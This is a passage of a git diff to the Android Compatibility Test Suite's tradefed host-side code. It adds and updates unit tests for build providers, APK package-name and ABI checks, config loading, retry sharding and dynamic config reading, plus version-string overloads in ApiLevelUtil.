--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.build;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.IDeviceBuildInfo;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.util.FileUtil;
+
+import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+/**
+ * Unit tests for {@link CompatibilityBuildProvider}.
+ */
+@RunWith(JUnit4.class)
+public class CompatibilityBuildProviderTest {
+
+ private CompatibilityBuildProvider mProvider;
+ private ITestDevice mMockDevice;
+ private File mRootDir;
+
+ @Before
+ public void setUp() throws Exception {
+ mMockDevice = EasyMock.createMock(ITestDevice.class);
+ mRootDir = FileUtil.createTempDir("cts-root-dir");
+ mProvider = new CompatibilityBuildProvider() {
+ @Override
+ String getRootDirPath() {
+ return mRootDir.getAbsolutePath();
+ }
+ };
+ }
+
+ @After
+ public void tearDown() {
+ FileUtil.recursiveDelete(mRootDir);
+ }
+
+ /**
+ * Tests getting the build info without using the device information.
+ */
+ @Test
+ public void testBaseGetBuild() throws Exception {
+ EasyMock.replay(mMockDevice);
+ IBuildInfo info = mProvider.getBuild(mMockDevice);
+ EasyMock.verify(mMockDevice);
+ assertFalse(info instanceof IDeviceBuildInfo);
+ }
+
+ /**
+ * Tests building build infos using the device information.
+ */
+ @Test
+ public void testBaseGetBuild_withDevice() throws Exception {
+ OptionSetter setter = new OptionSetter(mProvider);
+ setter.setOptionValue("use-device-build-info", "true");
+ setter.setOptionValue("branch", "build_branch");
+ EasyMock.expect(mMockDevice.getBuildId()).andReturn("8888");
+ EasyMock.expect(mMockDevice.getBuildFlavor()).andReturn("flavor");
+ EasyMock.expect(mMockDevice.getBuildAlias()).andReturn("alias");
+ EasyMock.replay(mMockDevice);
+ IBuildInfo info = mProvider.getBuild(mMockDevice);
+ EasyMock.verify(mMockDevice);
+ assertTrue(info instanceof IDeviceBuildInfo);
+ // tests dir should be populated
+ assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
+ // ensure that tests dir is never clean up.
+ mProvider.cleanUp(info);
+ assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
new file mode 100644
index 0000000..92f3f05
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.TestAppInstallSetup;
+import com.android.tradefed.util.AaptParser;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Class to validate tests Apks in testcases/
+ */
+@RunWith(JUnit4.class)
+public class ApkPackageNameCheck {
+
+ private static final Set<String> EXCEPTION_LIST = new HashSet<>();
+ static {
+ // TODO: Remove exception when their package have been fixed.
+ EXCEPTION_LIST.add("android.app.cts");
+ EXCEPTION_LIST.add("android.systemui.cts");
+ }
+
+ /**
+ * We ensure that no apk with same package names may be installed. Otherwise it may results in
+ * conflicts.
+ */
+ @Test
+ public void testApkPackageNames() throws Exception {
+ String ctsRoot = System.getProperty("CTS_ROOT");
+ File testcases = new File(ctsRoot, "/android-cts/testcases/");
+ if (!testcases.exists()) {
+ fail(String.format("%s does not exists", testcases));
+ return;
+ }
+ File[] listConfig = testcases.listFiles(new FilenameFilter() {
+ @Override
+ public boolean accept(File dir, String name) {
+ if (name.endsWith(".config")) {
+ return true;
+ }
+ return false;
+ }
+ });
+ assertTrue(listConfig.length > 0);
+ // We check all apk installed by all modules
+ Map<String, String> packageNames = new HashMap<>();
+
+ for (File config : listConfig) {
+ IConfiguration c = ConfigurationFactory.getInstance()
+ .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+ // For each config, we check all the apk it's going to install
+ List<String> apkNames = new ArrayList<>();
+ for (ITargetPreparer prep : c.getTargetPreparers()) {
+ if (prep instanceof TestAppInstallSetup) {
+ apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
+ }
+ }
+
+ for (String apkName : apkNames) {
+ File apkFile = new File(testcases, apkName);
+ if (!apkFile.exists()) {
+ fail(String.format("Module %s is trying to install %s which does not "
+ + "exists in testcases/", config.getName(), apkFile));
+ }
+ AaptParser res = AaptParser.parse(apkFile);
+ assertNotNull(res);
+ String packageName = res.getPackageName();
+ String put = packageNames.put(packageName, apkName);
+ // The package already exists and it's a different apk
+ if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
+ fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
+ + "added by previous apk '%s'.",
+ config.getName(), packageName, apkName, put));
+ }
+ }
+ }
+ }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index 4dab43f..bcc82ac9 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -18,12 +18,17 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.compatibility.common.tradefed.testtype.JarHostTest;
+import com.android.tradefed.build.FolderBuildInfo;
import com.android.tradefed.config.ConfigurationDescriptor;
import com.android.tradefed.config.ConfigurationException;
import com.android.tradefed.config.ConfigurationFactory;
import com.android.tradefed.config.IConfiguration;
import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.HostTest;
+import com.android.tradefed.testtype.IRemoteTest;
import org.junit.Assert;
import org.junit.Test;
@@ -61,6 +66,7 @@
"metrics",
"misc",
"networking",
+ "neuralnetworks",
"renderscript",
"security",
"systems",
@@ -75,6 +81,7 @@
/**
* Test that configuration shipped in Tradefed can be parsed.
* -> Exclude deprecated ApkInstaller.
+ * -> Check if host-side tests are non empty.
*/
@Test
public void testConfigurationLoad() throws Exception {
@@ -94,10 +101,15 @@
}
});
assertTrue(listConfig.length > 0);
+ // Create a FolderBuildInfo to similate the CompatibilityBuildProvider
+ FolderBuildInfo stubFolder = new FolderBuildInfo("-1", "-1");
+ stubFolder.setRootDir(new File(ctsRoot));
+ stubFolder.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "CTS");
// We expect to be able to load every single config in testcases/
for (File config : listConfig) {
IConfiguration c = ConfigurationFactory.getInstance()
.createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+ // Ensure the deprecated ApkInstaller is not used anymore.
for (ITargetPreparer prep : c.getTargetPreparers()) {
if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
throw new ConfigurationException(
@@ -107,6 +119,19 @@
+ "the same.", config));
}
}
+ // We can ensure that Host side tests are not empty.
+ for (IRemoteTest test : c.getTests()) {
+ if (test instanceof HostTest) {
+ HostTest hostTest = (HostTest) test;
+ // We inject a made up folder so that it can find the tests.
+ hostTest.setBuild(stubFolder);
+ int testCount = hostTest.countTestCases();
+ if (testCount == 0) {
+ throw new ConfigurationException(
+ String.format("%s: %s reports 0 test cases.", config, test));
+ }
+ }
+ }
ConfigurationDescriptor cd = c.getConfigurationDescription();
Assert.assertNotNull(config + ": configuration descriptor is null", cd);
List<String> component = cd.getMetaData(METADATA_COMPONENT);
@@ -123,6 +148,17 @@
Assert.assertTrue(String.format("Module config contains unknown \"component\" metadata "
+ "field \"%s\", supported ones are: %s\nconfig: %s",
cmp, KNOWN_COMPONENTS, config), KNOWN_COMPONENTS.contains(cmp));
+ // Check not-shardable: JarHostTest cannot create empty shards so it should never need
+ // to be not-shardable.
+ if (cd.isNotShardable()) {
+ for (IRemoteTest test : c.getTests()) {
+ if (test.getClass().isAssignableFrom(JarHostTest.class)) {
+ throw new ConfigurationException(
+ String.format("config: %s. JarHostTest does not need the "
+ + "not-shardable option.", config.getName()));
+ }
+ }
+ }
}
}
}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
index 609fe6b..4dbd3a9 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -18,7 +18,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.result.ResultReporter;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
@@ -40,6 +39,7 @@
import com.android.tradefed.testtype.IDeviceTest;
import com.android.tradefed.testtype.IInvocationContextReceiver;
import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AbiUtils;
import com.android.tradefed.util.FileUtil;
@@ -53,6 +53,7 @@
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
@@ -136,6 +137,8 @@
EasyMock.expect(mMockDevice.getSerialNumber()).andStubReturn("SERIAL");
EasyMock.expect(mMockBuildInfo.getDeviceSerial()).andStubReturn("SERIAL");
+ EasyMock.expect(mMockBuildInfo.getFiles()).andStubReturn(Collections.emptyList());
+
mContext = new InvocationContext();
mContext.addAllocatedDevice("default", mMockDevice);
mContext.addDeviceBuildInfo("default", mMockBuildInfo);
@@ -196,7 +199,7 @@
*/
@Test
public void testSingleModuleRun() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_run";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -299,7 +302,7 @@
*/
@Test
public void testSingleModuleRun_incomplete() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_run_incomplete";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -328,7 +331,7 @@
*/
@Test
public void testSingleModuleRun_completeAfterInternalRetry() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_completeAfterRetry";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, true);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -358,7 +361,7 @@
*/
@Test
public void testSingleModuleRun_incomplete_rerun_incomplete() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_incomplete_rerun";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -426,7 +429,7 @@
*/
@Test
public void testSingleModuleRun_incomplete_rerun_complete() throws Exception {
- final String moduleName = "moduleA";
+ final String moduleName = "module_incom_rerun_complete";
final String mAbi = "arm64-v8a";
createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -550,8 +553,8 @@
*/
@Test
public void testSingleModuleRun_sharded() throws Exception {
- final String moduleName = "moduleA";
- Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ final String moduleName = "module_sharded";
+ Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
Iterator<String> ite = abis.iterator();
final String abi1 = ite.next();
final String abi2 = ite.next();
@@ -559,8 +562,7 @@
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
String.format("%s,%s", abi1, abi2));
mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
- EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
- + AbiUtils.createId(abi2, moduleName)));
+ EasyMock.anyObject());
EasyMock.expectLastCall();
EasyMock.replay(mMockDevice, mMockBuildInfo);
@@ -601,8 +603,8 @@
*/
@Test
public void testSingleModuleRun_sharded_incomplete() throws Exception {
- final String moduleName = "moduleA";
- Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ final String moduleName = "module_sharded_incomplete";
+ Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
Iterator<String> ite = abis.iterator();
final String abi1 = ite.next();
final String abi2 = ite.next();
@@ -610,8 +612,7 @@
EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
String.format("%s,%s", abi1, abi2));
mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
- EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
- + AbiUtils.createId(abi2, moduleName)));
+ EasyMock.anyObject());
EasyMock.expectLastCall();
EasyMock.replay(mMockDevice, mMockBuildInfo);
@@ -653,8 +654,8 @@
*/
@Test
public void testSingleModuleRun_sharded_getTestShard() throws Exception {
- final String moduleName = "moduleA";
- Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ final String moduleName = "module_sharded_getTestShard";
+ Set<String> abis = AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
Iterator<String> ite = abis.iterator();
final String abi1 = ite.next();
final String abi2 = ite.next();
@@ -665,7 +666,7 @@
String expectedAdd = AbiUtils.createId(abi1, moduleName) + ","
+ AbiUtils.createId(abi2, moduleName);
mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
- EasyMock.eq(expectedAdd));
+ EasyMock.anyObject());
EasyMock.expectLastCall();
mAttributes.put(CompatibilityBuildHelper.MODULE_IDS, expectedAdd);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index ee28e64..297ccfc 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -19,7 +19,7 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import com.android.compatibility.SuiteInfo;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.AaptParser;
import com.android.tradefed.util.AbiUtils;
@@ -97,10 +97,25 @@
for (File testApk : listApks) {
AaptParser result = AaptParser.parse(testApk);
+ // Retry as we have seen flake with aapt sometimes.
+ if (result == null) {
+ for (int i = 0; i < 2; i++) {
+ result = AaptParser.parse(testApk);
+ if (result != null) {
+ break;
+ }
+ }
+ // If still couldn't parse the apk
+ if (result == null) {
+ fail(String.format("Fail to run 'aapt dump badging %s'",
+ testApk.getAbsolutePath()));
+ }
+ }
// We only check the apk that have native code
if (!result.getNativeCode().isEmpty()) {
List<String> supportedAbiApk = result.getNativeCode();
- Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ Set<String> buildTarget = AbiUtils.getAbisForArch(
+ TestSuiteInfo.getInstance().getTargetArch());
// first check, all the abis are supported
for (String abi : supportedAbiApk) {
if (!buildTarget.contains(abi)) {
@@ -160,7 +175,8 @@
// we sort to have binary starting with same name, next to each other. The last two
// characters of their name with be the bitness (32 or 64).
Collections.sort(orderedList);
- Set<String> buildTarget = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+ Set<String> buildTarget = AbiUtils.getAbisForArch(
+ TestSuiteInfo.getInstance().getTargetArch());
// We expect one binary per abi of CTS, they should be appended with 32 or 64
for (int i = 0; i < orderedList.size(); i=i + buildTarget.size()) {
List<String> subSet = orderedList.subList(i, i + buildTarget.size());
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
index 2724df6..66d05fc 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
@@ -19,6 +19,7 @@
import com.android.ddmlib.IDevice;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestRunResult;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.result.CollectingTestListener;
@@ -33,12 +34,11 @@
import junit.framework.TestCase;
import org.easymock.EasyMock;
-
+import org.junit.Test;
import org.junit.runner.JUnitCore;
import org.junit.runner.Request;
-import org.junit.runner.Runner;
import org.junit.runner.RunWith;
-import org.junit.Test;
+import org.junit.runner.Runner;
import java.util.Collections;
@@ -57,13 +57,27 @@
runDeviceTests(DEVICE_TEST_PKG, null, null);
}
+ @Override
+ protected CollectingTestListener createCollectingListener() {
+ return new CollectingTestListener() {
+ @Override
+ public TestRunResult getCurrentRunResults() {
+ TestRunResult result = new TestRunResult();
+ TestIdentifier t1 = new TestIdentifier("class1", "test1");
+ result.testStarted(t1);
+ result.testEnded(t1, Collections.emptyMap());
+ return result;
+ }
+ };
+ }
+
}
public void testRunMockDeviceTests() throws Exception {
final TestIdentifier testRunDeviceTests =
new TestIdentifier(MockTest.class.getName(), "testRunDeviceTests");
- ITestInvocationListener listener = EasyMock.createMock(ITestInvocationListener.class);
+ ITestInvocationListener listener = EasyMock.createStrictMock(ITestInvocationListener.class);
ITestDevice device = EasyMock.createMock(ITestDevice.class);
listener.testStarted(testRunDeviceTests);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
index 01557e3..d67619a 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTestTest.java
@@ -15,14 +15,20 @@
*/
package com.android.compatibility.common.tradefed.testtype.retry;
+import static org.junit.Assert.*;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
+import com.android.tradefed.config.IConfiguration;
import com.android.tradefed.config.OptionClass;
import com.android.tradefed.config.OptionSetter;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.StubTest;
import org.easymock.EasyMock;
import org.junit.Before;
@@ -30,6 +36,11 @@
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.LinkedHashMap;
+import java.util.List;
+
/**
* Unit tests for {@link RetryFactoryTest}.
*/
@@ -44,11 +55,19 @@
* A {@link CompatibilityTest} that does not run anything.
*/
@OptionClass(alias = "compatibility")
- public static class VoidCompatibilityTest extends CompatibilityTest {
+ public static class VoidCompatibilityTest extends CompatibilityTestSuite {
@Override
- public void run(ITestInvocationListener listener)
- throws DeviceNotAvailableException {
- // Do not run.
+ public LinkedHashMap<String, IConfiguration> loadTests() {
+ return new LinkedHashMap<>();
+ }
+
+ @Override
+ public Collection<IRemoteTest> split(int shardCountHint) {
+ List<IRemoteTest> tests = new ArrayList<>();
+ for (int i = 0; i < shardCountHint; i++) {
+ tests.add(new StubTest());
+ }
+ return tests;
}
}
@@ -75,7 +94,7 @@
return mSpyFilter;
}
@Override
- CompatibilityTest createTest() {
+ CompatibilityTestSuite createTest() {
return new VoidCompatibilityTest();
}
};
@@ -93,4 +112,16 @@
mFactory.run(mMockListener);
EasyMock.verify(mMockListener);
}
+
+ /**
+ * Assert that the {@link RetryFactoryTest#split(int)} calls the
+ * {@link CompatibilityTestSuite#split(int)} after applying all the filters.
+ */
+ @Test
+ public void testRetry_split() throws Exception {
+ EasyMock.replay(mMockListener);
+ Collection<IRemoteTest> res = mFactory.split(2);
+ assertEquals(2, res.size());
+ EasyMock.verify(mMockListener);
+ }
}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java
new file mode 100644
index 0000000..a75abfd
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/util/DynamicConfigFileReaderTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import static org.junit.Assert.*;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.BuildInfo;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.util.FileUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Unit tests for {@link DynamicConfigFileReader}.
+ */
+@RunWith(JUnit4.class)
+public class DynamicConfigFileReaderTest {
+
+ private static final String MODULE_NAME = "cts";
+ private IBuildInfo mBuildInfo;
+ private File mConfigFile;
+
+ @Before
+ public void setUp() throws Exception {
+ mConfigFile = FileUtil.createTempFile("temp-dynamic-config", ".xml");
+ mBuildInfo = new BuildInfo();
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(mBuildInfo);
+ helper.addDynamicConfigFile(MODULE_NAME, mConfigFile);
+ }
+
+ @After
+ public void tearDown() {
+ FileUtil.deleteFile(mConfigFile);
+ mBuildInfo.cleanUp();
+ }
+
+ private void writeDynamicConfigFile() throws IOException {
+ String content = "<dynamicConfig>\n" +
+ " <entry key=\"media_files_url\">\n" +
+ " <value>some value</value>\n" +
+ " </entry>\n" +
+ "</dynamicConfig>";
+ FileUtil.writeToFile(content, mConfigFile);
+ }
+
+ /**
+ * Test when the dynamic file is completely invalid.
+ */
+ @Test
+ public void testGetValueFromFile_invalidFile() throws Exception {
+ try {
+ DynamicConfigFileReader.getValueFromConfig(mConfigFile, "doesnotexit");
+ fail("Should have thrown an exception.");
+ } catch (XmlPullParserException expected) {
+ // expected
+ }
+ }
+
+ /**
+ * Test when requesting a key not part of the dynamic file.
+ */
+ @Test
+ public void testGetValueFromFile_keyNotFound() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(mConfigFile, "doesnotexit");
+ assertNull(res);
+ }
+
+ /**
+ * Test when getting the value associated with the key.
+ */
+ @Test
+ public void testGetValueFromFile() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(mConfigFile, "media_files_url");
+ assertEquals("some value", res);
+ }
+
+ /**
+ * Test when getting the value using directly the build info and module name.
+ */
+ @Test
+ public void testGetValueFromBuild() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(
+ mBuildInfo, MODULE_NAME, "media_files_url");
+ assertEquals("some value", res);
+ }
+
+ /**
+ * Test when trying to get a value from an unknown module.
+ */
+ @Test
+ public void testGetValueFromBuild_moduleNotFound() throws Exception {
+ writeDynamicConfigFile();
+ String res = DynamicConfigFileReader.getValueFromConfig(
+ mBuildInfo, "NOT_A_MODULE", "media_files_url");
+ assertNull(res);
+ }
+}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 38158b4..19f54da 100644
--- a/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/host-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import java.lang.reflect.Field;
+
/**
* Device-side compatibility utility class for reading device API level.
*/
@@ -30,21 +32,41 @@
return device.getApiLevel() < version;
}
+ public static boolean isBefore(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() < resolveVersionString(version);
+ }
+
public static boolean isAfter(ITestDevice device, int version)
throws DeviceNotAvailableException {
return device.getApiLevel() > version;
}
+ public static boolean isAfter(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() > resolveVersionString(version);
+ }
+
public static boolean isAtLeast(ITestDevice device, int version)
throws DeviceNotAvailableException {
return device.getApiLevel() >= version;
}
+ public static boolean isAtLeast(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() >= resolveVersionString(version);
+ }
+
public static boolean isAtMost(ITestDevice device, int version)
throws DeviceNotAvailableException {
return device.getApiLevel() <= version;
}
+ public static boolean isAtMost(ITestDevice device, String version)
+ throws DeviceNotAvailableException {
+ return device.getApiLevel() <= resolveVersionString(version);
+ }
+
public static int getApiLevel(ITestDevice device) throws DeviceNotAvailableException {
return device.getApiLevel();
}
@@ -63,4 +85,19 @@
throws DeviceNotAvailableException {
return device.getProperty(CODENAME);
}
+
+ protected static int resolveVersionString(String versionString) {
+ try {
+ return Integer.parseInt(versionString); // e.g. "24" for M
+ } catch (NumberFormatException e1) {
+ try {
+ Field versionField = VersionCodes.class.getField(
+ versionString.toUpperCase());
+ return versionField.getInt(null); // no instance for VERSION_CODES, use null
+ } catch (IllegalAccessException | NoSuchFieldException e2) {
+ throw new RuntimeException(
+ String.format("Failed to parse version string %s", versionString), e2);
+ }
+ }
+ }
}
diff --git a/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java b/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java
new file mode 100644
index 0000000..43bdea1
--- /dev/null
+++ b/common/host-side/util/src/com/android/compatibility/common/util/BusinessLogicHostExecutor.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
